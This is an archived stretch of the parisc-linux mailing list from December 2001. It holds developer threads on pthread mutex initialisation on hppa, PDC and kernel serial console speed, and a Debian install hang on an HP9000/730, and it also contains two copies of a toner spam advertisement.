Original-Received: from localhost.localdomain (cube.fischlustig.de [::ffff:192.168.1.14])
  (IDENT: andi)
  by tentakel.fischlustig.de with esmtp; Sun, 30 Dec 2001 22:55:16 +0100
In-Reply-To: <20011230184222.GC2179@tausq.org>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13531

> Just to clarify...
> 
> hppa is the only platform supported by linuxthreads right now where we 
> initialize the mutex variable to 1 so that we can do locking using ldcw. On 
> other platforms, locks are initialized to 0 and locking is done using things 
> like test-and-set.
> 
> In general, you always need to call pthread_mutex_init for mutexes to
> work. In the case of pan, the mutex variable is declared static, so it
> is automatically initialized to 0.

does that mean using the PTHREAD_MUTEX_INITIALIZER as defined in
phread.h (which DirectFB does) does not work on parisc, and we _have_ to
call pthreas_mutex_init()? Why does PTHREAD_MUTEX_INITIALIZER exist
then?


#define PTHREAD_MUTEX_INITIALIZER \
  {0, 0, 0, PTHREAD_MUTEX_TIMED_NP, __LOCK_INITIALIZER}

andi





From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial console settings?
Date: Sun, 30 Dec 2001 13:53:21 -0900 (AKST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112301350000.11391-100000@goliath.alaskatech.org>
References: <20011230214546.C2E0E37E86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620903 32648 80.91.229.3 (22 Nov 2014 01:48:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:23 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 15:56:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A409482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 15:56:26 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GP6IDZ00.GJU for
          <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 13:56:23 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GP6IDZ02.S1Q; Sun, 30 Dec 2001 13:56:23 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA11780;
	Sun, 30 Dec 2001 13:53:21 -0900
In-Reply-To: <20011230214546.C2E0E37E86@carmen.fc.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13532

> > Tom writes...
> > Maybe I'm missing somethign here... I set up a serial console on the C180,
> > which works great at 9600. Want to speed it up, so I changed the settings
> > to rs232_1.38400.n.8 (or whatever the exact syntax is - the PDC is happy
> > with it). Power-cycle, reset terminal to 38400 and nothing. Reset terminal
> > to 9600 and there's the screen... Doesn't seem to matter what I set the
> > console speed to in the PDC - it always runs at 9600. Is there some way I
> > have to "push" this, or otherwise save it?
>
> Matt:
> Are you saying that the firmware doesn't display properly or the Linux
> console?
>
> If its the firmware my only advice is to try several different settings and
> see if you can get anything other than 9600 to work. If you can then you
> can try turning it up.
>
> If you're referring to the Linux console, you'll need to edit the serial
> terminal lines(they start with "T") in /etc/inittab and change the speed
> there to match firmware.

Whoops - me bad. Should have been a bit more specific... This is the HP
PDC console settings I'm talking about, not the Linux console. I set it to
serial_1.19200.8.none and it happily stays at 9600. I thought that perhaps
it was auto-detecting the terminal speed and resetting itself, but if I
set it that way, then reset the terminal to 19.2 it won't see any display
until I reset it to 9600...

It's not critical to increase it, but when it's needed 9600 sure is slow
:-)




From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial console settings?
Date: Mon, 31 Dec 2001 00:50:28 +0100
Organization: private
Lines: 55
Approved: news@gmane.org
Message-ID: <3C2FA844.91DF575E@gmx.at>
References: <Pine.LNX.4.33.0112300925420.11391-100000@goliath.alaskatech.org> <20011230214546.C2E0E37E86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620904 32657 80.91.229.3 (22 Nov 2014 01:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:24 +0000 (UTC)
Cc: Tom <palinux@alaskatech.org>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 16:50:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B097482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 16:50:47 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011230235034.EXUQ1238.viefep16-int.chello.at@gmx.at>;
          Mon, 31 Dec 2001 00:50:34 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13533

.. Further the serial console speed has to be set, if Linux does
not use the PDC console (new feature for E55 and other machines with
proprietary hardware). The speed setting is done via kernel command
line parameter like

	console=ttyS0,38400

For more details at this point see under
linux/Documentation/serial-console.txt

Bye
Christoph P.


Matt Taggart wrote:
> 
> Tom writes...
> 
> > Maybe I'm missing somethign here... I set up a serial console on the C180,
> > which works great at 9600. Want to speed it up, so I changed the settings
> > to rs232_1.38400.n.8 (or whatever the exact syntax is - the PDC is happy
> > with it). Power-cycle, reset terminal to 38400 and nothing. Reset terminal
> > to 9600 and there's the screen... Doesn't seem to matter what I set the
> > console speed to in the PDC - it always runs at 9600. Is there some way I
> > have to "push" this, or otherwise save it?
> 
> Are you saying that the firmware doesn't display properly or the Linux
> console?
> 
> If its the firmware my only advice is to try several different settings and
> see if you can get anything other than 9600 to work. If you can then you
> can try turning it up.
> 
> If you're referring to the Linux console, you'll need to edit the serial
> terminal lines(they start with "T") in /etc/inittab and change the speed
> there to match firmware.
> 
> HTH,
> 
> --
> Matt Taggart        Linux Development Lab
> taggart@fc.hp.com   HP Linux Systems Operation
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@grabert.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.3 Installatio hangs on HP9000/730
Date: Mon, 31 Dec 2001 01:39:06 +0000 (GMT)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112310052290.23722-100000@kargellan.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620904 32666 80.91.229.3 (22 Nov 2014 01:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:24 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 18:39:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from kargellan.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85E2A482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 18:39:29 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by kargellan.ucc.ie (8.11.6/8.11.6) with ESMTP id fBV1d6I23776
	for <parisc-linux@parisc-linux.org>; Mon, 31 Dec 2001 01:39:16 GMT
X-Authentication-Warning: kargellan.ucc.ie: xam owned process doing -bs
X-X-Sender: <xam@kargellan.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13534

Hi

I tried to install debian-0.9.3 on a
HP9000/730 (32MB RAM, 535MB HD), thus overwriting an
older version (nfsroot-based).

I used the STI (HIL-Keyboard) and everything worked fine
until it tried to  make an ext2 filesystem. To be more
specific, I partitioned t/dev/sda (swap, F0 boot, ext2,
in that order) and tthe creation and activation of
the swap partition went fine. The computer seems to hang
whhile creating the ext2 filesystem. The last thing I can see is
somethingg like "Writing Inode xy/53" (with xy being a number
less than 53). xy starts from zero and stopps at a random number
(I tried to install debian-0.9.3 several times, xy is different each time)

I can use CTRL-ALT-DEL in order to shut down the system
(sometimes I seee a message from linux "Shutting down ..."
so it seems that the kernel didn't crash, but I can#t interrupt
the installation in any other way.

I don't think that that the creation of the ext2 takes such a long time
(I waited for half an hour) without uptatiing the progress bar.


STI and keyboard worked fine (last version of parisc linux
was over 9 month old and broken at that time) and it seemed
that everything  would work flawlessly.

AFAIK the 730 is very similar to the 720, just with additional WAX
(1 EISA slot) and a faster CPU (same type as in the 720)

Since someone posted successful installation on several 720's
and since the old linux installation worked with the saame hardware,
I doubt that it is a hardware problem.

Any clue ? Thanks in advance!


greetings max


PS: sorry for the many typos, but i have an awfully slow internet connection,
i.e. weaitiong 5 seconds before I can see what I typed.






From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with threads..
Date: Sun, 30 Dec 2001 21:07:41 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20011231050740.GD2179@tausq.org>
References: <20011229012436.4586cb54.csuder@cisco.com> <20011230064447.GA2179@tausq.org> <20011229235830.4bfec5f9.csuder@cisco.com> <20011230184222.GC2179@tausq.org> <1009749327.28491.0.camel@cube>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620904 32669 80.91.229.3 (22 Nov 2014 01:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 22:08:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEC44482D
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 22:08:09 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id odgbkaaa for parisc-linux@parisc-linux.org; Sun, 30 Dec 2001 22:02:15 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Kufl-0002jx-00; Sun, 30 Dec 2001 21:07:41 -0800
Content-Disposition: inline
In-Reply-To: <1009749327.28491.0.camel@cube>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13535

> does that mean using the PTHREAD_MUTEX_INITIALIZER as defined in
> phread.h (which DirectFB does) does not work on parisc, and we _have_ to
> call pthreas_mutex_init()? Why does PTHREAD_MUTEX_INITIALIZER exist
> then?

that works too.... 

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <bill@exampletrample.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] laser toner
Date: Mon, 31 Dec 2001 02:24:32
Lines: 124
Approved: news@gmane.org
Message-ID: <782.232283.263441@unknown>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620905 32670 80.91.229.3 (22 Nov 2014 01:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 02:43:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web1.arenagamer.com (unknown [198.78.155.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DEFD482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 31 Dec 2001 02:43:30 -0700 (MST)
Original-Received: from web1.acsaz.local ([198.78.155.91]) by web1.arenagamer.com with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 01:58:20 -0700
Original-Received: from web1.arenagamer.com ([198.78.155.93]) by web1.acsaz.local with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 01:49:21 -0700
Original-Received: from web1.acsaz.local ([198.78.155.91]) by web1.arenagamer.com with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 01:21:46 -0700
Original-Received: from web1.arenagamer.com ([198.78.155.93]) by web1.acsaz.local with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 00:30:12 -0700
Original-Received: from web1.acsaz.local ([198.78.155.91]) by web1.arenagamer.com with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 00:30:11 -0700
Original-Received: from web1.arenagamer.com ([198.78.155.93]) by web1.acsaz.local with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 00:30:11 -0700
Original-Received: from web1.acsaz.local ([198.78.155.91]) by web1.arenagamer.com with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 00:30:11 -0700
Original-Received: from unknown ([64.3.194.238]) by web1.acsaz.local with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 31 Dec 2001 00:30:04 -0700
X-OriginalArrivalTime: 31 Dec 2001 07:30:05.0312 (UTC) FILETIME=[F7665800:01C191CC]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13536



**** VORTEX SUPPLIES ****

YOUR LASER PRINTER TONER CARTRIDGE,
COPIER AND FAX CARTRIDGE CONNECTION

SAVE UP TO 30% FROM RETAIL

ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79
OPTAA E410/412---------------------------$89


EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.










From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <bill@exampletrample.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] laser toner
Date: Mon, 31 Dec 2001 04:39:50
Lines: 124
Approved: news@gmane.org
Message-ID: <898.453288.526530@unknown>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620905 32674 80.91.229.3 (22 Nov 2014 01:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 02:45:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from linux.palpilot.com (unknown [209.218.212.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1497482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 31 Dec 2001 02:45:03 -0700 (MST)
Original-Received: from unknown (da001d0083.atl-ga.osd.concentric.net [64.3.192.84]) by linux.palpilot.com (8.8.8/8.8.3) with SMTP id XAA27573 for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 23:50:10 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13537



**** VORTEX SUPPLIES ****

YOUR LASER PRINTER TONER CARTRIDGE,
COPIER AND FAX CARTRIDGE CONNECTION

SAVE UP TO 30% FROM RETAIL

ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
